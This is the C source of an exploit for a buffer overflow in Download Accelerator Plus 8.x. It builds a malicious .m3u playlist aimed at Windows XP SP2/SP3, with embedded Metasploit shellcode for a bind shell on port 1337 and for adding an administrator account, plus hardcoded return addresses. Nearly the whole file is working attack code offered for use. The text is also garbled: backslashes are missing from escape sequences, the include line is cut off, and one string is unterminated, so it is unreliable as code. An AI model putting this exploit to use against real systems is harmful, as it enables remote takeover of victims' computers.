#include
/*
DAP 8.x (.m3u) File BOF C Exploit for XP SP2,SP3 English
SecurityFocus Advisory:
Download Accelerator Plus (DAP) is prone to a buffer-overflow vulnerability
because it fails to perform adequate boundary checks on user-supplied input.
Successfully exploiting this issue may allow remote attackers to execute
arbitrary code in the context of the application.Failed exploit attempts
will cause denial-of-service conditions.
Vulnerability discoverd by Krystian Kloskowski (h07)
Original POC by h07 http://www.milw0rm.com/exploits/6030
This poc will create a "special" .m3u file that when imported in DAP and then checked with
the verifiy button will cause a buffer overflow and lead to exploitation.Run the program
with no args for usage info or just look in the code. :P
Tested on Windows XP English sp2&sp3.
C Exploit code by Shinnok raydenxy [at] yahoo dot com
/*
/* win32_bind - EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com */
unsigned char bind_scode[] =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx46x4bx4e"
"x4dx54x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x36x4bx58"
"x4ex36x46x32x46x52x4bx48x45x34x4ex43x4bx48x4ex57"
"x45x30x4ax47x41x30x4fx4ex4bx38x4fx34x4ax51x4bx48"
"x4fx35x42x32x41x50x4bx4ex49x34x4bx38x46x33x4bx38"
"x41x50x50x4ex41x43x42x4cx49x39x4ex4ax46x58x42x4c"
"x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"
"x46x4fx4bx33x46x45x46x52x4ax42x45x57x45x4ex4bx58"
"x4fx55x46x42x41x50x4bx4ex48x56x4bx38x4ex30x4bx44"
"x4bx48x4fx55x4ex31x41x30x4bx4ex43x30x4ex52x4bx48"
"x49x38x4ex36x46x32x4ex51x41x36x43x4cx41x33x4bx4d"
"x46x36x4bx38x43x54x42x53x4bx38x42x34x4ex50x4bx58"
"x42x47x4ex51x4dx4ax4bx58x42x34x4ax50x50x55x4ax36"
"x50x58x50x34x50x50x4ex4ex42x45x4fx4fx48x4dx48x56"
"x43x55x48x56x4ax36x43x53x44x33x4ax46x47x37x43x47"
"x44x53x4fx55x46x45x4fx4fx42x4dx4ax36x4bx4cx4dx4e"
"x4ex4fx4bx53x42x35x4fx4fx48x4dx4fx55x49x48x45x4e"
"x48x56x41x48x4dx4ex4ax30x44x30x45x35x4cx36x44x50"
"x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x55"
"x4fx4fx48x4dx43x45x43x55x43x45x43x35x43x55x43x44"
"x43x45x43x34x43x55x4fx4fx42x4dx48x56x4ax36x45x50"
"x49x43x48x56x43x45x49x58x41x4ex45x49x4ax56x46x4a"
"x4cx31x42x37x47x4cx47x55x4fx4fx48x4dx4cx36x42x31"
"x41x35x45x35x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x42"
"x49x4ex47x35x4fx4fx48x4dx43x45x45x45x4fx4fx42x4d"
"x4ax36x45x4ex49x34x48x48x49x44x47x55x4fx4fx48x4d"
"x42x55x46x55x46x45x45x35x4fx4fx42x4dx43x39x4ax56"
"x47x4ex49x37x48x4cx49x37x47x55x4fx4fx48x4dx45x45"
"x4fx4fx42x4dx48x56x4cx46x46x46x48x56x4ax46x43x46"
"x4dx46x49x38x45x4ex4cx36x42x35x49x55x49x42x4ex4c"
"x49x58x47x4ex4cx46x46x54x49x58x44x4ex41x53x42x4c"
"x43x4fx4cx4ax50x4fx44x54x4dx42x50x4fx44x34x4ex42"
"x43x59x4dx48x4cx37x4ax53x4bx4ax4bx4ax4bx4ax4ax56"
"x44x57x50x4fx43x4bx48x41x4fx4fx45x47x46x44x4fx4f"
"x48x4dx4bx45x47x55x44x55x41x35x41x55x41x35x4cx46"
"x41x50x41x35x41x45x45x55x41x45x4fx4fx42x4dx4ax36"
"x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx46"
"x4fx4fx4fx4fx47x33x4fx4fx42x4dx4bx58x47x35x4ex4f"
"x43x58x46x4cx46x46x4fx4fx48x4dx44x55x4fx4fx42x4d"
"x4ax56x42x4fx4cx58x46x30x4fx55x43x35x4fx4fx48x4d"
"x4fx4fx42x4dx5a";
/* win32_adduser - PASS=test EXITFUNC=seh USER=test Size=489 Encoder=PexAlphaNum http://metasploit.com */
unsigned char user_scode[] =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x30x42x50x4bx38x45x44x4ex33x4bx58x4ex57"
"x45x50x4ax57x41x50x4fx4ex4bx38x4fx34x4ax31x4bx58"
"x4fx35x42x52x41x50x4bx4ex49x54x4bx48x46x33x4bx48"
"x41x50x50x4ex41x53x42x4cx49x39x4ex4ax46x48x42x4c"
"x46x47x47x30x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x45x46x42x46x30x45x47x45x4ex4bx48"
"x4fx35x46x42x41x50x4bx4ex48x46x4bx58x4ex50x4bx54"
"x4bx58x4fx55x4ex31x41x30x4bx4ex4bx38x4ex41x4bx58"
"x41x30x4bx4ex49x48x4ex35x46x52x46x30x43x4cx41x43"
"x42x4cx46x46x4bx58x42x34x42x43x45x38x42x4cx4ax47"
"x4ex30x4bx58x42x44x4ex30x4bx58x42x57x4ex51x4dx4a"
"x4bx48x4ax36x4ax50x4bx4ex49x50x4bx48x42x48x42x4b"
"x42x30x42x30x42x30x4bx48x4ax36x4ex53x4fx55x41x43"
"x48x4fx42x36x48x45x49x58x4ax4fx43x38x42x4cx4bx47"
"x42x45x4ax36x42x4fx4cx58x46x30x4fx45x4ax36x4ax39"
"x50x4fx4cx38x50x30x47x55x4fx4fx47x4ex43x56x4dx46"
"x46x46x50x42x45x56x4ax47x45x46x42x52x4fx52x43x36"
"x42x32x50x46x45x46x46x57x42x52x45x47x43x37x45x36"
"x44x37x42x32x46x37x45x36x43x47x46x37x42x42x46x37"
"x45x36x43x37x46x37x42x52x4fx52x41x44x46x54x46x44"
"x42x52x48x42x48x32x42x32x50x36x45x56x46x57x42x42"
"x4ex36x4fx36x43x56x41x36x4ex56x47x46x44x37x4fx36"
"x45x37x42x37x42x42x41x34x46x46x4dx56x49x56x50x46"
"x49x56x43x57x46x37x44x37x41x56x46x47x4fx56x44x37"
"x43x57x42x52x46x47x45x56x43x37x46x47x42x32x4fx52"
"x41x34x46x34x46x34x42x30x5a";
unsigned char ra_sp2[] = "xcfxbcx08x76"; //msvcp60.dll
unsigned char ra_sp3[] = "xe1xbcx08x76"; //msvcp60.dll
unsigned char nops1[14115]; //14115 * x90
unsigned char nops2[30]; //30 * x90
int main(int argc, char **argv)
{
int i;
FILE* f;
char* ra=NULL;
char* scode=NULL;
printf("[ ] Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerabilityn");
printf("[ ] Discovered by Krystian Kloskowski (h07)
printf("[ ] Code by Shinnok raydenxy[at]yahoo dot comn");
if ((argc!=3)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))||((atoi(argv[2])!=0)&&(atoi(argv[2])!=1))){
printf("Usage: %s target payloadn",argv[0]);
printf("Where target is:n");
printf("0: WinXP SP2n");
printf("1: WinXP SP3n");
printf("Where payload is:n");
printf("0: bind shell on 1337n");
printf("1: add admin user "test" with password "test"n");
return EXIT_SUCCESS;
}
for(i=0;i<14115;i ) nops1[i]='x90';
nops1[14115]=' ';
for(i=0;i<30;i ) nops2[i]='x90';
nops2[30]=' ';
if(atoi(argv[1])==0) ra=ra_sp2;
else ra=ra_sp3;
if(atoi(argv[2])==0) scode=bind_scode;
else scode=user_scode;
f=fopen("sploit.m3u","wb");
fprintf(f,"http://localhost/%s%s%s%s.mp3%c%c",nops1,ra,nops2,scode,'xd','xa');
fflush(f);
fclose(f);
printf("sploit.m3u created!n");
return EXIT_SUCCESS;
}